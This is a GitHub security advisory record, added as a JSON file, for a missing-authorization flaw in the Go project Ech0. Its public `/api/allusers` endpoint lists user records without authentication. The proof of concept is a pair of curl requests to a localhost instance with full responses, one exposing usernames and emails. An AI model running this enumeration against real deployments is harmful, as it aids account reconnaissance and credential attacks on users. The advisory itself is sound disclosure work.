Publish GHSA-m983-7426-5hrj

Author: advisory-database[bot]

advisories/github-reviewed/2026/03/GHSA-m983-7426-5hrj/GHSA-m983-7426-5hrj.json

@@ -0,0 +1,65 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-m983-7426-5hrj",
+  "modified": "2026-03-24T22:25:03Z",
+  "published": "2026-03-24T22:25:03Z",
+  "aliases": [
+    "CVE-2026-33638"
+  ],
+  "summary": "Ech0  authenticated user-list exposed data via public `/api/allusers` endpoint  ",
+  "details": "## Summary\n`GET /api/allusers` is mounted as a public endpoint and returns user records without authentication. This allows remote unauthenticated user enumeration and exposure of user profile metadata.\n\n## Details\nThe route is registered under public routes:\n\n- `internal/router/user.go:17`\n  - `appRouterGroup.PublicRouterGroup.GET(\"/allusers\", h.UserHandler.GetAllUsers())`\n\nThe handler itself is documented as requiring authentication:\n\n- `internal/handler/user/user.go:177-185`\n  - API docs/annotations indicate auth requirement (`@Security ApiKeyAuth`).\n\n## PoC\n\n### 1) Negative control: endpoint that should require auth\n\nRequest: \n```bash\ncurl -i \"http://localhost:6277/api/user\"\n```\n\nResponse:\n```bash\nHTTP/1.1 401 Unauthorized\nAccess-Control-Allow-Headers: *\nAccess-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT\nAccess-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type\nCache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0\nContent-Language: zh-CN\nContent-Type: application/json; charset=utf-8\nExpires: 0\nPragma: no-cache\nSurrogate-Control: no-store\nDate: Sun, 22 Mar 2026 07:21:22 GMT\nContent-Length: 135\n\n{\"code\":0,\"msg\":\"未找到令牌,请点击右上角登录\",\"error_code\":\"TOKEN_MISSING\",\"message_key\":\"auth.token_missing\",\"data\":null}\n```\n\n### 2) Trigger: call public user-list endpoint without auth\n\nRequest:\n```bash\ncurl -i \"http://localhost:6277/api/allusers\"\n```\n\nResponse:\n```bash\nHTTP/1.1 200 OK\nAccess-Control-Allow-Headers: *\nAccess-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT\nAccess-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type\nContent-Language: zh-CN\nContent-Type: application/json; charset=utf-8\nDate: Sun, 22 Mar 2026 07:21:56 GMT\nContent-Length: 912\n\n{\"code\":1,\"msg\":\"获取用户列表成功\",\"data\":[{\"id\":\"019d144a-18fa-7db3-a2dd-310604210abd\",\"username\":\"h1_poc_1774161893_1\",\"email\":\"h1_poc_1774161893_1@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-1904-7c0a-98ec-656079a82c64\",\"username\":\"h1_poc_1774161893_2\",\"email\":\"h1_poc_1774161893_2@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-190b-70f8-89cb-4f8ab46cec9b\",\"username\":\"h1_poc_1774161893_3\",\"email\":\"h1_poc_1774161893_3@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-e7dc-7cef-9395-4d0e392a5278\",\"username\":\"alice\",\"email\":\"alice@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-e7e3-79f3-bb09-0ea758333a54\",\"username\":\"bob\",\"email\":\"bob@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"}]}\n```\n\n## Impact\n**Vulnerability type:** Access control bypass / unauthenticated data exposure.  \n**Who is impacted:** Any deployment exposing the API to untrusted networks, and all users whose profile metadata can be enumerated.  \n**Business/security impact:** Enables account reconnaissance and targeted credential attacks.\n\nA fix is available at https://github.com/lin-snow/Ech0/releases/tag/v4.2.0.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/lin-snow/ech0"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "1.4.8-0.20260322121226-acbf1fd71011"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-m983-7426-5hrj"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/lin-snow/Ech0/commit/acbf1fd71011e6b9e1e6a911128056a19862f681"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/lin-snow/Ech0"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/lin-snow/Ech0/releases/tag/v4.2.0"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-862"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2026-03-24T22:25:03Z",
+    "nvd_published_at": null
+  }
+}